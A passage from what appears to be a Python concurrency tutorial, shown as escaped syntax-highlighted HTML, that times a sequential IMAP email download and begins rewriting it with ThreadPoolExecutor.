&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Downloading mail id: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;i.decode()&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        _, data &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; client.fetch(i, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;(RFC822)&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;emails/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;i.decode()&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;.eml&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;wb&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; f:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            f.write(data[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    client.close()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Downloaded &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{len&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(ids)&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; mails!&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;client &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; imaplib.IMAP4_SSL(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;IMAP_SERVER&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;client.login(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;USERNAME&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;PASSWORD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;client.select()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;_, ids &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; client.search(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;None&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;ALL&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;ids &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ids[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;].split()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;ids &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ids[:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;client.close()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;download_emails(ids)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Time:&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, time.time() &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; start)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Time taken :: &lt;code&gt;35.65300488471985&lt;/code&gt; seconds.&lt;/p&gt;
&lt;p&gt;Now let’s introduce some parallelizability into this task to speed things up. Before we dive into writing the code, we have to decide between threading and multiprocessing. As you’ve learned so far, threads are the best option when it comes to tasks that have some IO as the bottleneck. The task at hand obviously belongs to this category, as it is accessing an IMAP server over the internet. So we’ll be going with &lt;code&gt;threading.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Much of the code we’re going to use is going to be the same as the one we used in the sequential case. The only difference is that we will split the list of 100 email ids into 10 smaller chunks, each chunk containing 10 ids, then create 10 threads and call the &lt;code&gt;download_emails&lt;/code&gt; function with a different chunk from each of them. I’m using the &lt;code&gt;concurrent.futures.ThreadPoolExecutor&lt;/code&gt; class from the Python standard library for threading.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; imaplib&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; concurrent.futures &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ThreadPoolExecutor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;IMAP_SERVER&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;imap.gmail.com&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;USERNAME&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;username@gmail.com&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;PASSWORD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;password&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; download_emails&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(ids):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    client &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; imaplib.IMAP4_SSL(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;IMAP_SERVER&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    client.login(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;USERNAME&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;PASSWORD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    client.select()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ids:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Downloading mail id: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;i.decode()&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        _, data &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; client.fetch(i, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;(RFC822)&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;emails/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;i.decode()&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;.eml&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;wb&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; f:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            f.write(data[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    client.close()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Downloaded &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{len&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(ids)&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; mails!&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;client &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; imaplib.IMAP4_SSL(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;IMAP_SERVER&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;client.login(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;USERNAME&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;PASSWORD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;client.select()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;_, ids &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; client.search(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;None&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;ALL&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;ids &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ids[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;].split()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;ids &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ids[:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;client.close()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;number_of_chunks &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;chunk_size &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;executor &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ThreadPoolExecutor(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;max_workers&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;number_of_chunks)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;futures &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(number_of_chunks):&lt;/span&gt;&lt;/span&gt;
